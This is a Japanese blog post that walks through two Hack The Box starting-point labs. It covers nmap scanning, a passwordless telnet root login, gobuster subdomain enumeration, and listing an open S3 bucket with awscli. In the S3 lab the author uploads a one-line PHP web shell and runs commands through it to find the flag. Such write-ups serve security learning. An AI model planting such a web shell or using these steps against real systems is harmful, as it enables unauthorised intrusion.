LoginSignup
9
1

More than 1 year has passed since last update.

Hack The Boxのstarting pointを解いてみた

Last updated at Posted at 2022-12-22

フューチャー Advent Calendar 2022 の23日目です。明日は@hayao0727さんのOCaml 5のEffect Handlerを調べてみた記事です。

はじめに

今回の記事では、最近個人的にハマっている 「Hack The Box」のstarting-pointを解いてみた感想を書きたいと思います。

Hack The Boxとは

Hack The Boxとは、サイバーセキュリティスキルの向上トレーニングができるオンラインプラットフォームです。
仮想の環境が用意されており、脆弱性をついてflagの取得を目的としています。

starting-pointとは

starting-pointとは、Hack The Boxを行う上での基礎的なことを学ぶことができる、チュートリアルです。
starting-pointには、tier0、tier1、tier2の3つあり、今回は tier0、tier1 からそれぞれ一問解いた手順と感想を書きたいと思います。
各問題にTASKが複数あり、最後にflagを取るための誘導になっています。

Meow

ペネトレーションの基本的な使い方や一部telenetの知識が問われます。

TASK1〜TASK6

TASK1〜TASK6については知識を問う問題のため省略します。

TASK7

スクリーンショット 2022-12-18 21.46.20.png

解法

この問題はポート23/tcpで利用されているサービスは何かを問われています。
攻撃対象のポートスキャンを行うために、nmapを使用します。

$ sudo nmap -p 23 -sV <IP address>
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-18 07:54 EST
Nmap scan report for <IP address>
Host is up (0.00052s latency).

PORT   STATE    SERVICE VERSION
23/tcp filtered telnet

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.86 seconds

ポート23は、Well known portのため、検索をしてを答えを得ることができますが、nmapコマンドでport23を指定してポートスキャンを行うと、ポート23のサービス名はtelenetであることがわかります。

TASK8

スクリーンショット 2022-12-18 21.58.15.png

解法

空のパスワードを使用して、telnet経由でログインできるユーザ名を問われています。
こちらは調べればわかる問題です。回答はrootです。

Submit root flag

スクリーンショット 2022-12-22 0.49.37.png

解法

Meow最後の問題で、flagを取得する問題です。
TASK8、TASK9をヒントにtelnet経由でログインします。

$ telnet <IP address >
Trying <IP address >...
Connected to <IP address >.
Escape character is '^]'.

  █  █         ▐▌     ▄█▄ █          ▄▄▄▄
  █▄▄█ ▀▀█ █▀▀ ▐▌▄▀    █  █▀█ █▀█    █▌▄█ ▄▀▀▄ ▀▄▀
  █  █ █▄█ █▄▄ ▐█▀▄    █  █ █ █▄▄    █▌▄█ ▀▄▄▀ █▀█

login名を聞かれるのでrootを入力します。

Meow login: root
...
()
...
Last login: Mon Sep  6 15:15:23 UTC 2021 from 10.10.14.18 on pts/0

telnet経由でログインすることに成功しました。
あとはフラグを探すだけです。lsコマンドで一覧を見ます。

$ root@Meow:~# ls
flag.txt  snap

flag.txtが~/配下にあるので、あとは中身をコピーし提出すれば終了です。

Meowの感想

nmapコマンドを使用したペネトレーションの方法を学ぶことができました。
また、今回でてきたtelentについては、ネットワーク経由で他のサーバに接続し、遠隔操作する仕組みですが、通信経路が暗号化されていません。
SSHは、通信経路が暗号化されているため、基本的にはSSHのアクセスが推奨されています。

Three

こちらの問題もHack The Boxの基本的な使い方や一部Amazon S3の知識が問われています。

TASK1

image.png

解法

TCPの空いているポートの数が聞かれています。
nmapコマンドを使用して空いているポートを探します。

$ nmap -sV <IP address >  -p- 1-10000 -Pn
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

上記から、空いているポートは二つとわかります。
よって、回答は2です。

TASK2〜TASK3

TASK2〜TASK3については知識を問われているだけの問題のため省略します。

TASK4

image.png

解法

サブドメインは何があるかを問われています。
gobusterコマンドで総当たりで検索をしていきます。
サブドメインを検索するにあたり、/etc/hostsにthetoppers.htbを追加します。

$ echo "<IP address > thetoppers.htb" | sudo tee -a /etc/hosts
$ gobuster vhost -u http://thetoppers.htb -w <サブドメインのワードリストのパス> 

上記のコマンドを実行すると

image.png

回答になりそうなサブドメインは見つかりませんでした。
gobusterのvhostモードだとvirtual hostを探すためサブドメインがみつからない可能性があると考え、gobusterのdnsモードで下記のコマンドを実行しました。

$ gobuster dns -d thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt 

実行の結果は下記です。
image.png

s3.thetoppers.htbが見つかりました。
よって、問題の回答としてはs3.thetoppers.htb
また、下記のように/etc/hostsに追加しておきます。

$ echo "<IP address > s3.thetoppers.htb" | sudo tee -a /etc/hosts

TASK5~TASK8

TASK5~TASK8については知識を問われているだけの問題のため省略します。

TASK9

スクリーンショット 2022-12-23 0.09.47.png

解法

TASK5~TASK8に回答していくと、Amazon S3が動いているのが分かります。
S3上のバケット一覧を検索したいと考え、下記のコマンドを実行します。

$ aws --endpoint=http://s3.thetoppers.htb s3 ls

image.png
thetoppers.htbというバケットが見つかったため、アップロードされているファイルがなにかを探したいと考え、下記のコマンドを実行します。

$ aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb

.htaccessindex.phpのファイルを見つけることができました。
この問いは、S3上にあるWebスクリプト言語で書かれたファイルはなにかを問われているので、回答としは、phpになります。

Submit root flag

image.png

解法

最後にflagを探します。
S3内でlsコマンドを叩きたいと考え、下記のようにコマンドを受け付けるphpファイルを作成します。

<?php system($_GET['cmd']); ?>

作成したphpファイル(flag.php)をuplaodします。

aws s3 --endpoint=http://s3.thetoppers.htb cp flag.php s3://thetoppers.htb 

image.png
ファイルをアップロードすることができました。
ブラウザ上で確認します。
image.png
ファイル一覧が表示されました。
あとはflag.txtが存在するかを確認します。
クエリパラメータにfind / -name flag.txtを指定してブラウザで検索します。
image.png
/var/www/flag.txtflag.txtがあるのが分かりました。
あとは中身を提出して終了です。
スクリーンショット 2022-12-23 1.14.05.png

Threeの感想

gobusterコマンドはペネトレーションを行う上でよく使うツールです。
サブドメインを探すときに、vhostモードではサブドメインが見つからず、少し苦戦しましたが、dnsモードを使って見つけることができました。
Threeを通して、awscliコマンドについて学ぶことができました。
自分はwebshellで解きましたが、公式の解説は、revese-shellを使って解いていました。

まとめ

Hack The Boxのstarting pointを2問解いてみました。
starting-pointであれば公式の解説もあります。
自分としは、知らない知識ばかりで非常に勉強になりました。
他にもたくさんの問題があるので、解いたら記事を書きたいと思います。

参考記事

https://note.homie.co.jp/n/n35a6bba8a8a5
https://cybersecbits.com/gobuster-finding-web-files-and-directories

9
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
9
1